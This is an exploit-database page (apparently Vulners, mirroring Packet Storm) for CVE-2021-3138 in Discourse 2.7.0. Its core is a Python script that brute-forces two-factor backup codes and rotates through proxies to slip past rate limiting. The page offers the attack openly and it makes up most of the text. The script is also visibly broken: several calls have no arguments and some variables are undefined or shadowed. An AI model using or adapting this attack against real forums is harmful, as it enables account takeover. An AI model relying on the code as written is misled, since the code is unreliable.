Lucene search
K

Discourse 2.7.0 2FA Bypass

🗓️ 21 Apr 2021 00:00:00Reported by Mesh3l_911Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 344 Views

Discourse 2.7.0 Rate Limit Bypass and 2FA Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass Exploit
21 Apr 202100:00
zdt
Circl
CVE-2021-3138
14 Jan 202107:49
circl
CNNVD
Discourse 安全漏洞
13 Jan 202100:00
cnnvd
CNVD
Discourse has an unspecified vulnerability (CNVD-2021-100598)
21 Jan 202100:00
cnvd
CVE
CVE-2021-3138
14 Jan 202103:30
cve
Cvelist
CVE-2021-3138
14 Jan 202103:30
cvelist
Exploit DB
Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass
21 Apr 202100:00
exploitdb
EUVD
EUVD-2021-26485
7 Oct 202500:30
euvd
NVD
CVE-2021-3138
14 Jan 202104:15
nvd
OpenVAS
Discourse < 2.7.0.beta4 Multiple Vulnerabilities
15 Jan 202100:00
openvas
Rows per page
`# Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass  
# Date: 14/01/2021  
# Exploit Author: Mesh3l_911  
# Vendor Homepage: https://www.discourse.org/  
# Software Link:https://github.com/discourse/discourse  
# Version: Discourse 2.7.0  
# CVE: CVE-2021-3138  
  
import requests  
  
username = input("\n input ur username : ")  
password = input("\n input ur password : ")  
session=requests.session()  
  
proxies = []  
def proxies():  
proxies_path = input("\n input ur proxies path : ")  
  
with open(proxies_path, 'r') as prox:  
for _ in prox.read().splitlines():  
proxies.append()  
  
backup_codes = []  
def backup_list():  
Backup_codes = input("\n input ur Backup_codes list path : ")  
  
with open(Backup_codes, 'r') as codes:  
for _ in codes.read().splitlines():  
backup_codes.append()  
  
def exploit():  
with open('Backup_codes.txt', 'w') as results:  
try:  
for __ in proxies:  
for _ in codes.read().splitlines():  
header =\  
{  
"X-CSRF-Token": "ur X-CSRF-Token",  
"Cookie": "ur Cookie",  
"X-Requested-With": "XMLHttpRequest"  
}  
body = {"login": username, "password": password, "second_factor_token": _, "second_factor_method": "2"}  
request = session.post("ur target_url", headers=header, data=body, proxies={'http': __, 'https':__})  
source = request.text  
backup_codes.remove(_)  
  
if request.status_code == 200:  
if '"id"' in source:  
results.write("The Backup_Coude is > {} ".format(_))  
return True  
else:  
pass  
else:  
proxies.remove(__)  
break  
  
  
except requests.exceptions.SSLError and requests.exceptions.ConnectionError:  
print(" Connection Failed :( ")  
  
results.close()  
  
  
def main():  
if exploit():  
print("\n Found :) \n")  
else:  
print("\n Please re-check ur inputs :( \n")  
if __name__ == '__main__':  
main()  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Apr 2021 00:00Current
7.6High risk
Vulners AI Score7.6
EPSS0.02708
344